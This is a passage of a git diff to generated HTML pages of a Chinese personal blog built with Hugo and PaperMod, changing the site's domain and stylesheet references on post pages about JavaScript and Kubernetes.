viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/JavaScript%e5%9f%ba%e7%a1%80%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/es6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git "a/posts/javascript\347\232\204\344\270\200\344\272\233\345\237\272\347\241\200\347\237\245\350\257\206\346\211\251\345\261\225/index.html" "b/posts/javascript\347\232\204\344\270\200\344\272\233\345\237\272\347\241\200\347\237\245\350\257\206\346\211\251\345\261\225/index.html"
index d787e622..c0318423 100644
--- "a/posts/javascript\347\232\204\344\270\200\344\272\233\345\237\272\347\241\200\347\237\245\350\257\206\346\211\251\345\261\225/index.html"
+++ "b/posts/javascript\347\232\204\344\270\200\344\272\233\345\237\272\347\241\200\347\237\245\350\257\206\346\211\251\345\261\225/index.html"
@@ -1,6 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/JavaScript%e7%9a%84%e4%b8%80%e4%ba%9b%e5%9f%ba%e7%a1%80%e7%9f%a5%e8%af%86%e6%89%a9%e5%b1%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/javascript%E7%9A%84%E4%B8%80%E4%BA%9B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86%E6%89%A9%E5%B1%95/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title></h1><div class=post-meta>0 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/JavaScript%e7%9a%84%e4%b8%80%e4%ba%9b%e5%9f%ba%e7%a1%80%e7%9f%a5%e8%af%86%e6%89%a9%e5%b1%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><footer class=post-footer><ul class=post-tags></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/javascript%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>« Prev</span><br><span></span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><span class=title>Next »</span><br><span></span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git "a/posts/kubernetes\345\255\246\344\271\240\347\254\224\350\256\260/index.html" "b/posts/kubernetes\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
index 16d6bb5a..63f3a72b 100644
--- "a/posts/kubernetes\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
+++ "b/posts/kubernetes\345\255\246\344\271\240\347\254\224\350\256\260/index.html"
@@ -1,6 +1,6 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content><meta name=description content=" - 小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content><meta property="og:description" content><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content><meta name=twitter:description content><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"","item":"https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"","name":"","description":"","keywords":[],"articleBody":"","wordCount":"0","inLanguage":"en","datePublished":"0001-01-01T00:00:00Z","dateModified":"0001-01-01T00:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/kubernetes%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a 